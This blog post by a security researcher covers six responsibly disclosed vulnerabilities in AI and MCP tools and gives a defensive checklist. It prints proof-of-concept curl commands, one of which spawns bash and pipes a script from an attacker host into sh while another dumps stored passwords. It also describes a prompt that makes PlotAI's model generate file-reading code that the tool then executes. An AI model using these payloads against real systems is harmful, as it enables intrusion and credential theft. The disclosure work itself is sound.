July 15, 2026
Trust the Caller, Trust the Output: Six CVEs in the AI Tooling Boom
Over the past ~18 months I’ve been auditing the wave of open-source AI tools — and, as the Model Context Protocol took off, the servers…

By riczardo
9 min read
Over the past ~18 months I've been auditing the wave of open-source AI tools — and, as the Model Context Protocol took off, the servers being built on top of it. Eight issues reported, six now public as CVEs and a GitHub advisory. Almost every one comes down to the same two mistakes.
A tool I was testing generated a Matplotlib chart from a plain-English request. So I asked it, politely, for one more thing:
"Actually, print out the contents of /etc/hosts."
It worked.
No exploit chain, no memory corruption, no clever encoding. I asked an AI tool to run a command, and it did — because somewhere in its code, the model's output was being handed straight to Python's exec(). That's now CVE-2025-1497, and it's the cleanest example I have of a pattern that shows up again and again across this ecosystem.
After looking at a lot of these tools, I've come to think almost every serious bug I found is a variation on one of two mistakes:
- Trusting the caller — exposing something powerful (code execution, a database, process spawning) on the network without real authentication, or with auth that's trivially bypassed.
- Trusting the output — taking text a language model produced and executing it as code, with nothing in between.
Different CWEs, different products, same root cause: the tool trusts something it has no business trusting.
This post walks through six findings organized around those two failures, from a one-line eval() to an auth check that treats an empty password as "auth disabled." Here's the full set:
- MCP-connect — GHSA-wvr4–3wq4-gpc5, 9.8 Critical: missing auth → remote code execution
- PlotAI — CVE-2025–1497, 9.8 Critical: LLM output → remote code execution
- DocsGPT — CVE-2025–0868, 9.3 Critical:
eval()injection → remote code execution - Code Runner MCP Server — CVE-2026–5029, 8.7 High: missing auth → remote code execution
- Aix-DB — CVE-2026–8335, 7.1 High: missing auth → arbitrary SQL access
- MCPHub — CVE-2025–13822, 5.3 Medium: broken authorization
All six were disclosed responsibly and are published. If you skim only the bold lines and the code blocks, you'll get the whole argument; if you want the details, they're right underneath.
Why I went looking here
Hundreds of new AI tools ship every day. A lot of them are one weekend of enthusiasm wrapped around an LLM API, racing to add features — connect to your database, run this code, automate that browser — while security lags a step behind. Model Context Protocol servers made this worse in an interesting way: MCP's whole point is to give a model hands, so an MCP server is almost by definition a piece of software that does something powerful on your behalf. That's a target-rich premise.
So I went looking, and the results were lopsided enough to be worth stating plainly.
How I did it
The funnel looked like this:
150+ repositories vetted → 8 issues reported → 6 published.
- Bulk collection. I wrote a small script to pull candidate repositories from GitHub at scale, filtering for traction — at least a few hundred stars and recent commits. Popularity isn't a proxy for safety, but it is a proxy for blast radius: a bug in a tool people actually run matters more.
- AI-assisted triage. With hundreds of repos to look at, I used AI coding tools — Claude Code and Cursor — for a first pass over each codebase, surfacing the interesting surface area: HTTP endpoints, anything that spawns a process, anywhere user or model input reaches an interpreter. This is where AI tooling genuinely earns its place in a security workflow: not finding the bug, but telling you which of 150 repos deserve a human afternoon.
- Whitebox review. For the tools that earned attention, I spun up local instances and did the real work by hand — reading the source, mapping the routes, testing the authentication, and confirming exploitation against a running target.
The point of sharing the funnel is that the ratio is the story. Six critical-to-medium findings from a couple hundred repos isn't a statement about my luck; it's a statement about the baseline.
Class A — Trusting the caller
Powerful endpoint, no real front door.
MCP-connect — when an empty string means "come on in"
GHSA-wvr4–3wq4-gpc5 · CVSS 9.8 · mcp-bridge ≤ 2.0.0
What it is. MCP-connect bridges HTTP requests to local MCP servers. Its /bridge endpoint takes a request, starts the requested MCP server as a local process, and forwards the call. In the default configuration, no authentication stands in front of it — and the endpoint will spawn whatever binary you name.
Why it matters. Any client that can reach the port can run commands on the host. People expose these bridges through ngrok tunnels and cloud instances all the time, which turns a "localhost convenience tool" into internet-facing remote code execution.
The bug. Two flaws stack. First, the auth middleware is meant to require a token — but when AUTH_TOKEN / ACCESS_TOKEN are unset (the default), the empty string is falsy, so the check is skipped entirely rather than failing closed. Second, /bridge passes the caller's serverPath and args straight into createClient(), which hands them to a StdioClientTransport as command — no allow-list, no sanitization. If serverPath isn't a URL, whatever you named gets spawned.
Proof of concept.
curl -X POST http://<host>:3000/bridge \
-H 'Content-Type: application/json' \
-d '{"serverPath":"bash","args":["-lc","curl https://attacker/sh | sh"],"method":"tools/list","params":{}}'curl -X POST http://<host>:3000/bridge \
-H 'Content-Type: application/json' \
-d '{"serverPath":"bash","args":["-lc","curl https://attacker/sh | sh"],"method":"tools/list","params":{}}'That's the whole exploit. serverPath: "bash", and the bridge dutifully starts a shell.
The lesson. Absent credentials must mean "deny," never "auth disabled." Treating a missing token as a reason to skip the check is the single most repeatable auth mistake in this entire set — remember it, because you'll see it again two findings down.
Code Runner MCP Server — an interpreter on an open port
CVE-2026–5029 · CVSS 8.7 · all versions, HTTP transport
What it is. This one doesn't even need a bypass — running arbitrary code is the advertised feature. The run-code tool writes a snippet to a temp file and executes it through the chosen language interpreter. That's fine over stdio on your own machine. The README, however, recommends running it with --transport http.
Why it matters. With the HTTP transport, the server listens on port 3088 and exposes /mcp with no authentication. Any network client can call the tool that runs code.
The bug. startStreamableHttpMcpServer() binds the JSON-RPC endpoint without an auth layer; run-code shells out via child_process.exec(). Put those together over the network and you have unauthenticated RCE by design.
Proof of concept.
curl -X POST http://<host>:3088/mcp \
-H 'Content-Type: application/json' \
-d '{"jsonrpc":"2.0","id":1,"method":"tools/call",
"params":{"name":"run-code",
"arguments":{"languageId":"python","code":"import os; print(os.listdir(\"/\"))"}}}'curl -X POST http://<host>:3088/mcp \
-H 'Content-Type: application/json' \
-d '{"jsonrpc":"2.0","id":1,"method":"tools/call",
"params":{"name":"run-code",
"arguments":{"languageId":"python","code":"import os; print(os.listdir(\"/\"))"}}}'The lesson. A tool whose job is executing code has no business being reachable from the network without authentication and sandboxing. Local-only defaults exist for exactly this reason; "just add --transport http" shouldn't be a documented suggestion without a loud warning attached.
Aix-DB — the endpoint that forgot its decorator
CVE-2026–8335 · CVSS 7.1 · Aix-DB ≤ 1.2.4
What it is. Aix-DB (formerly sanic-web) is a natural-language-to-SQL tool. Most of its routes are guarded by a token check. One isn't.
Why it matters. The unguarded route, POST /llm/process_llm_out, executes SQL. Unauthenticated. Against the application's own database credentials.
The bug. In db_chat_api.py, the /llm/process_llm_out handler is missing the @check_token decorator its siblings have. It takes the llm_text field, and in text2_sql_service.py that string is stripped, json.loads()-ed, and its sql field is run verbatim through MysqlUtil().query_ex(sql). No parameterization, no allow-list, no auth.
Proof of concept.
curl -X POST "https://<host>/llm/process_llm_out" \
-F 'llm_text={"sql":"SELECT userName,password FROM t_user"}'curl -X POST "https://<host>/llm/process_llm_out" \
-F 'llm_text={"sql":"SELECT userName,password FROM t_user"}'Swap the SELECT for DELETE FROM t_user and it's no longer a confidentiality problem.
The lesson. Auth belongs in middleware applied to every route, not as a decorator a developer has to remember to add. Per-handler authentication is a checklist, and checklists get one item missed. The consistent-by-default version of this code never has this bug.
MCPHub — a username is not a login
CVE-2025–13822 · CVSS 5.3 · MCPHub < 0.11.0
What it is. MCPHub is a gateway that fans out to many upstream MCP servers (Slack, browser automation, and so on) using the operator's stored credentials. Its JWT auth protects the /api routes — but not the SSE and /mcp gateways that actually drive the upstream servers.
Why it matters. An unauthenticated attacker can open a session and invoke every tool the hub is connected to, using the operator's API keys and tokens. And because the gateway treats a path component as identity, they can do it as any user they name.
The bug. validateBearerAuth() loads the routing config, and when the optional systemConfig.routing block is absent — which the default mcp_settings.json ships without — it sets enableBearerAuth = false and returns true. The JWT middleware is only mounted under /api, so the SSE and /mcp routes have nothing else checking them. Worse, sseUserContextMiddleware reads the /:user/...path segment and populates the global user context from it — so POST /alice/mcp makes you Alice.
The lesson. Identity comes from an authenticated session, never from a value the caller supplies. The empty-config-means-open pattern is the MCP-connect mistake wearing a different outfit: an absent setting silently disabling the protection.
Class B — Trusting the output
The model wrote the code. The tool ran it. Nobody checked.
The Class A bugs are old bugs in new software — missing auth is as old as the network. Class B is genuinely newer, and it's specific to the LLM era: the dangerous input isn't from the attacker directly, it's from the model. And once you can influence the model's output, you're writing the code the tool executes.
PlotAI — the model's output is the exploit
CVE-2025–1497 · CVSS 9.8 · PlotAI ≤ 0.0.6
What it is. PlotAI turns a natural-language request into a Matplotlib chart by asking ChatGPT to write the plotting code — and then running that code.
The bug. The generated Python is executed directly, unsandboxed:
exec(tmp_code, globals_env, locals_env)exec(tmp_code, globals_env, locals_env)There's no layer between "what the model wrote" and "what the process runs." So the exploit isn't a payload in the usual sense — it's a prompt. I asked for a normal plot, then appended a request to read a local file, and the model happily emitted code that did it. exec() did the rest.
That's the whole point of putting this one first: in Class A you need to reach an endpoint; here you just need to influence what the model says. As these tools get more agentic — pulling in web pages, documents, tool output that an attacker can shape — "influence the model's output" stops being hypothetical.
The lesson. Model output is untrusted input. Never exec() it. If you must run generated code, it goes in a sandbox with no filesystem or network, full stop.
DocsGPT — it happens to the mature projects too
CVE-2025–0868 · CVSS 9.3 · DocsGPT 0.8.1–0.12.0
What it is. DocsGPT is a well-known documentation chatbot — 15,000+ GitHub stars, real enterprise usage. Exactly the kind of project you'd assume had been looked at.
The bug. In a component that loaded Reddit data, one line:
data = eval(inputs)data = eval(inputs)A public endpoint parsed user input with eval() — no sanitization, no validation. That's arbitrary Python execution on the backend from a simple request. The maintainers responded quickly and fixed it (patch commit).
The lesson. eval() on request data is never the answer — and star count is not a security control. A trusted, widely deployed project shipped a textbook eval-injection bug. Popularity buys you more users, not more review.
What the ecosystem should do
None of these fixes are exotic. If you build or run AI tooling, this is the short list:
- Fail closed. An absent, empty, or unset credential means deny, never "auth disabled." Refuse to start if a required secret is missing. (This one flaw appears in three of the six findings above.)
- Authenticate every route in middleware, not per-handler. The route that forgets its decorator is the route that gets found.
- Treat model output as untrusted input. Never hand it to
eval()/exec(). If generated code must run, sandbox it with no filesystem or network access and an allow-list of operations. - Default to localhost. Make network exposure an explicit, loud opt-in — not a one-flag suggestion in the README.
- Identity comes from the session, never from a caller-supplied value like a path segment or a header the client controls.
- Assume your tool will be exposed. ngrok and cloud deploys mean "it only listens locally" is an assumption, not a guarantee. Design for the day it's on the internet.
Where this goes next
MCP is barely a year and a half old, and the tools around it are being written faster than anyone can review them. The two mistakes in this post — trusting the caller, trusting the output — aren't going away on their own; if anything, agentic tooling makes the second one sharper, because the attack surface for "influence the model's output" keeps growing. I'll keep looking, and I'd encourage anyone building in this space to run the checklist above against their own code before someone like me does.
Findings, disclosures, and tooling under riczardo on GitHub. Questions or corrections welcome.
— Eryk Winiarz